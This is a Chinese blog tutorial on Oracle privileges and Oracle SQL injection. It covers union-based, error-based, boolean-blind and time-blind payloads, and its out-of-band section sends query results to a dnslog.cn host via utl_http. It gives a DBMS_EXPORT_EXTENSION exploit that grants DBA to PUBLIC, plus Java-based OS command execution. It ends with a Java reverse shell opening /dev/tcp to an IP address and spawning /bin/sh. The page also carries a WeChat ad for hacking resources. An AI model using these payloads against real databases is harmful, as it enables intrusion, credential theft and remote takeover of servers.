主頁 >  其他 > 資料庫注入提權總結(四)

資料庫注入提權總結(四)

2022-08-16 08:06:52 其他

Oracle

Oracle權限分類

權限是用戶對一項功能的執行權力,在Oracle中,根據系統的管理方式不同,將 Oracle 權限分為系統權限與物體權限兩類,系統權限是指是否被授權用戶可以連接到資料庫上,在資料庫中可以進行哪些系統操作,而物體權限是指用戶對具體的模式物體 (schema) 所擁有的權限,

系統權限管理

系統權限:系統規定用戶使用資料庫的權限,(系統權限是對用戶而言),

  • DBA:擁有全部特權,是系統最高權限,只有DBA才可以創建資料庫結構

  • RESOURCE:擁有Resource權限的用戶只可以創建物體,不可以創建資料庫結構

  • CONNECT:擁有Connect權限的用戶只可以登錄Oracle,不可以創建物體,不可以創建資料庫結構

對于普通用戶:授予connect,resource權限

對于DBA用戶:授予connect,resource,dba權限

-- 系統權限授予命令:
系統權限只能由DBA用戶授出,也就是sys,system(這兩個用戶是最開始的兩個DBA用戶)
授權命令:grant connect, resource, dba to username1 , username2...;
普通用戶通過授權可以具有與system相同的用戶權限,但永遠不能達到與sys用戶相同的權限,system用戶的權限也可以被回收
回收授權命令:revoke connect, resource, dba from system;
?
-- 查詢用戶擁有那些權限:
select * from dba_role_privs;
select * from dba_sys_privs;
select * from role_sys_privs;
?
-- 查詢自己擁有那些系統權限
select * from session_privs;

-- 洗掉用戶
drop user [username] cascade; -- 加上cascade則將用戶連同其創建的東西全部洗掉

-- 系統權限傳遞
增加 WITH ADMIN OPTION 選項,則得到的權限可以傳遞,
grant connect, resorce to user50 with admin option;

-- 系統權限回收,只能由DBA用戶回收
revoke connect, resource, dba from system;

-- 說明
1. 如果使用WITH ADMIN OPTION為某個用戶授予系統權限,那么對于被這個用戶授予相同權限的所有用戶來說,取消該用戶的系統權限并不會級聯取消這些用戶的相同權限,
2. 系統權限無級聯,即A授予B權限,B授予C權限,如果A識訓B的權限,C的權限不受影響;系統權限可以跨用戶回收,即A可以直接識訓C用戶的權限,

物體權限管理

物體權限:某種權限用戶對其它用戶的表或視圖的存取權限,(是針對表或視圖而言的),

  • select, update, insert, alter, index, delete, all //all 包括所有權限

  • execute // 執行存盤程序權限

-- 授權用戶表操作
grant select, update, insert on product to user02;
grant all on product to user02;
上述兩條命令是 除drop之外所有對 product表的操作授予 user02 用戶

-- 授予全部用戶表的操作權限
grant all on product to public; # all不包括 drop 權限

-- 物體權限傳遞
grant select, update on product to user02 with grant option;
user02得到權限,并可以傳遞,

-- 物體權限的回收
Revoke select, update on product from user02;
傳遞的權限將全部消失
?
-- 說明
1. 如果取消某個用戶的物件權限,那么對于這個用戶使用WITH GRANT OPTION授予權限的用戶來說,同樣還會取消這些用戶的相同權限,也就是說取消授權時級聯的,

角色管理

-- 建立一個角色
create role role1;

-- 為角色授權
grant create any table,create procedure to role1;

-- 授權角色給用戶
grant role1 to user1;

-- 查看角色所包含的權限
select * from role_sys_privs;

-- 創建帶有口令的角色(在生效帶有口令的角色時必須提供口令)
create role role1 identified by password1;

-- 修改角色,設定是否需要口令
alter role role1 not identified;
alter role role1 identified by password1;
?
-- 設定當前用戶要生效的角色
角色的生效是一個什么概念呢?假設用戶a有b1,b2,b3三個角色,那么如果b1未生效,則b1所包含的權限對于a來講是不擁有的,只有角色生效了,角色內的權限才作用于用戶,最大可生效角色數由引數MAX_ENABLED_ROLES設定;在用戶登錄后,oracle將所有直接賦給用戶的權限和用戶默認角色中的權限賦給用戶,
set role role1; # 使role1生效
set role role,role2; # 使role1,role2生效
set role role1 identified by password1; # 使用帶有口令的role1生效
set role all; # 使用該用戶的所有角色生效
set role none; # 設定所有角色失效
set role all except role1; # 除role1外的該用戶的所有其它角色生效,
select * from SESSION_ROLES; # 查看當前用戶的生效的角色,

-- 修改指定用戶,設定其默認角色
alter user user1 default role role1;
alter user user1 default role all except role1;

-- 洗掉角色
drop role role1;
角色洗掉后,原來擁用該角色的用戶就不再擁有該角色了,相應的權限也就沒有了,

-- 說明
1. 無法使用WITH GRANT OPTION為角色授予物件權限
2. 可以使用WITH ADMIN OPTION 為角色授予系統權限,取消時不是級聯

PL/SQL語言

PL/SQL 也是一種程式語言,叫做程序化 SQL 語言(Procedual Language/SQL),

PL/SQL 是 Oracle 資料庫對 SQL 陳述句的擴展,在普通 SQL 陳述句的使用上增加了編程語言的特點,所以 PL/SQL 就是把資料操作和查詢陳述句組織在 PL/SQL 代碼的程序性單元中,通過邏輯判斷、回圈等操作實作復雜的功能或者計算的程式語言,在 PL/SQL 編程語言是由甲骨文公司在 20 世紀 80 年代,作為 SQL 程式擴展語言和 Oracle 關系資料庫開發,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

基本結構如下:

DECLARE
   
BEGIN
   
EXCEPTION
   
END;

SQL 注入需注意的規則

  • Oracle 使用查詢語言獲取需要跟上表名,這一點和 Access 類似,沒有表的情況下可以使用 dual 表,dual 是 Oracle 的虛擬表,用來構成 select 的語法規則,Oracle 保證 dual 里面永遠只有一條記錄,

  • Oracle 的資料庫型別是強匹配,所以在 Oracle 進行類似 Union 查詢資料時必須讓對應位置上的資料型別和表中的列的資料型別是一致的,也可以使用 NULL 代替某些無法快速猜測出的資料型別位置,這一點和 SQL Server 類似,

  • Oracle 和 mysql 不一樣,分頁中沒有 limit,而是使用三層查詢嵌套的方式實作分頁 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0

  • Oracle 的單行注釋符號是 --,多行注釋符號 /**/

  • Oracle 資料庫包含了幾個系統表,這幾個系統表里存盤了系統資料庫的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就存盤了用戶的所有的表、列名,其中 table_name 表示的是系統里的表名,column_name 里的是系統里存在的列名,

  • Oracle 使用 || 拼接字串(在 URL 中使用編碼 %7c 表示),concat() 函式也可以實作兩個字串的拼接

聯合查詢注入

Payload空格有問題,可以放在vscode中查看

# 判斷注入點
所有資料庫方式都一樣
?
# 判斷列數
依舊提交 order by 去猜測顯示當前頁面所用的 SQL 查詢了多少個欄位,也就是確認查詢欄位數,
?id=1 order by 3 --+
?id=1 order by 4 --+
?
# 判斷回顯點
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+
?
# 獲取資料庫基本資訊
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+
?
# 獲取資料庫名,即用戶名
Oracle 沒有資料庫名的概念,所謂資料庫名,即資料表的擁有者,也就是用戶名,
1. 獲取第一個用戶名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 獲取第二個用戶名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
     
3. 獲取當前用戶名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+
?
# 獲取表名
1. 獲取Test用戶第一張表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 獲取Test用戶第二張表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+
?
# 獲取欄位名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+
?
# 獲取資料
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+

報錯注入

在 oracle 注入時候出現了資料庫報錯資訊,可以優先選擇報錯注入,使用報錯的方式將查詢資料的結果帶出到錯誤頁面中,

使用報錯注入需要使用類似 1=[報錯陳述句],1>[報錯陳述句],使用比較運算子,這樣的方式進行報錯注入(MYSQL 僅使用函式報錯即可),類似 mssql 報錯注入的方式,

utl_inaddr.get_host_name ()

utl_inaddr.get_host_address 本意是獲取 ip 地址,但是如果傳遞引數無法得到決議就會回傳一個 oracle 錯誤并顯示傳遞的引數,

我們傳遞的是一個 sql 陳述句所以回傳的就是陳述句執行的結果,oracle 在啟動之后,把一些系統變數都放置到一些特定的視圖當中,可以利用這些視圖獲得想要的東西,

# 獲取用戶名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
?
# 獲取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
?
# 獲取欄位名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
?
# 獲取資料
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

ctxsys.drithsx.sn ()

# 獲取用戶名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
?
# 獲取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
?
# 獲取欄位名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
?
# 獲取資料
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
?

dbms_xdb_version.checkin ()

# 獲取用戶名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
?
# 獲取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
?
# 獲取欄位名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
?
# 獲取資料
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.makeversioned ()

# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
?
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
?
# 獲取欄位名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
?
# 獲取資料
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.uncheckout ()

# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
?
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
?
# 獲取欄位名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
?
# 獲取資料
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_utility.sqlid_to_sqlhash ()

# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
?
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
?
# 獲取欄位名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
?
# 獲取資料
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

ordsys.ord_dicom.getmappingxpath ()

# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
?
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
?
# 獲取欄位名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
?
# 獲取資料
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

XMLType ()

# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
?
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+
?
# 獲取欄位名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+
?
# 獲取資料
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+

布爾型盲注

decode()

decode(欄位或欄位的運算,值1,值2,值3)

這個函式運行的結果是,當欄位或欄位的運算的值等于值 1 時,該函式回傳值 2,否則回傳值3,當然值 1,值 2,值 3 也可以是運算式,這個函式使得某些 sql 陳述句簡單了許多

# 判斷是否是TEST用戶
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+
?
# 猜解當前用戶
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+
?
# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+
?
# 猜解欄位名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+
?
# 猜解資料
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+

instr ()

instr 函式的使用,從一個字串中查找指定子串的位置

select instr('123456789','12') position from dual;

image-20220803161015829

可以使用該函式按位爆破,該函式回傳是從1開始

?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+

substr()

這個就和mysql 基本一致

# 猜解資料長度
?id=1 and (select length(user) from dual)=3 --+
?
# ASCII按位爆破
?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+

時間盲注

dbms_pipe.receive_message ()

DBMS_LOCK.SLEEP()函式可以讓一個程序休眠很多秒,但使用該函式存在許多限制,

首先,不能直接將該函式注入子查詢中,因為 Oracle 不支持堆疊查詢 (stacked query),其次,只有資料庫管理員才能使用 DBMS_LOCK 包,

在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以行內方式注入延遲:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE() 函式將為從 RDS 管道回傳的資料等待 10 秒,默認情況下,允許以 public 權限執行該包,DBMS_LOCK.SLEEP()與之相反,它是一個可以用在 SQL 陳述句中的函式,

# 查看是否可以使用 dbms_pipe.receive_message () 函式進行延時注入
?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+
?
# 猜解當前用戶
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
?
# 猜解表名
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
?
# 猜解欄位
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
?
# 猜解資料
?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

decode ()

原理:結合耗費時間的查詢陳述句,不過在使用的程序中有很多不盡如人意的地方,有時候加載快有時加載慢,

?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+

decode () 與 dbms_pipe.receive_message () 嵌套時間盲注

?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+

DNS外帶注入

Oracle 注入之帶外通信和 DNSLOG 注入非常相似,例如和 mysql 中 load_file () 函式實作無回顯注入非常相似,

Oracle 發送 HTTP 和 DNS 請求,并將查詢結果帶到請求中,然后檢測外網服務器的 HTTP 和 DNS 日志,從日志中獲取查詢結果,通過這種方式將繁瑣的盲注轉換成可以直接獲取查詢結果的方式,

使用第三方平臺,監聽訪問請求,并記錄請求的日志資訊,然后使用 utl_http.request() 向外網主機發送 http 請求,請求便攜帶了查詢的結果資訊,此處可以結合 SSRF 進行內網探測,或許這就是 Oracle 的 SSRF,

利用 utl.inaddr.get_host_address(),將查詢結果拼接到域名下,并使用 DNS 記錄決議日志,通過這種方式獲取查詢結果,

# 檢測是否支持 utl_http.request
?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+
?
# 獲取用戶名
?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
?
# 獲取表名
?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
?
# 獲取列名
?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
?
# 獲取資料
?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

利用漏洞提權命令執行

dbms_export_extension()

  • 影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

  • 權限:None

  • 詳情:這個軟體包有許多易受 PL/SQL 注入攻擊的函式,這些函式由 SYS 擁有,作為 SYS 執行并且可由 PUBLIC 執行,因此,如果 SQL 注入處于上述任何未修補的 Oracle 資料庫版本中,那么攻擊者可以呼叫該函式并直接執行 SYS 查詢,

提升權限

該請求將導致查詢 "GRANT DBA TO PUBLIC" 以 SYS 身份執行,因為這個函式允許 PL / SQL 缺陷(PL / SQL 注入),一旦這個請求成功執行,PUBLIC 獲取 DBA 角色,從而提升當前 user 的特權

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

使用Java執行

# 創建java庫
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
?
# 賦予Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
?
# 創建函式
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
?
# 賦予函式執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
?
# 執行系統命令
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

dbms_xmlquery.newcontext()

  • 影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006)

  • 必須在 DBMS_PORT_EXTENSION 存在漏洞情況下,否則賦予權限時無法成功

# 創建java庫
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
?
# 賦予當前用戶Java權限
select user from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;
?
# 查看 all_objects 內部改變
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
?
# 創建函式
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
?
# 判斷是否創建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
?
# 執行命令
select LinxRunCMD('id') from dual
?
# 洗掉函式
drop function LinxRunCMD

dbms_java_test.funcall()

  • 影響版本:10g R2, 11g R1, 11g R2

  • 權限:Java Permissions

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
執行會有一定報錯,但是不影響命令執行

Java反彈shell

# linux系統payload
import java.io.*;
import java.net.*;
public class shellRev
{
       public static void main(String[] args)
      {
               System.out.println(1);
               try{run();}
               catch(Exception e){}
      }
public static void run() throws Exception
      {
               String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
               Process p=Runtime.getRuntime().exec(aaa);
  }
}
?
#編譯
javac shellRev.java
#執行
java shellRev
?
# 創建 Java 庫
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual

# 賦予Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

# 創建函式
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

# 賦予函式執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

# 反彈shell
select sys.reversetcp from dual

 更多靶場實驗練習、網安學習資料,請點擊這里>>

搜索

復制

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/501905.html

標籤:其他

上一篇:巴西 ANATEL 市場準入標準更新

下一篇:代碼審計(Java)——WebGoat_Xss

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

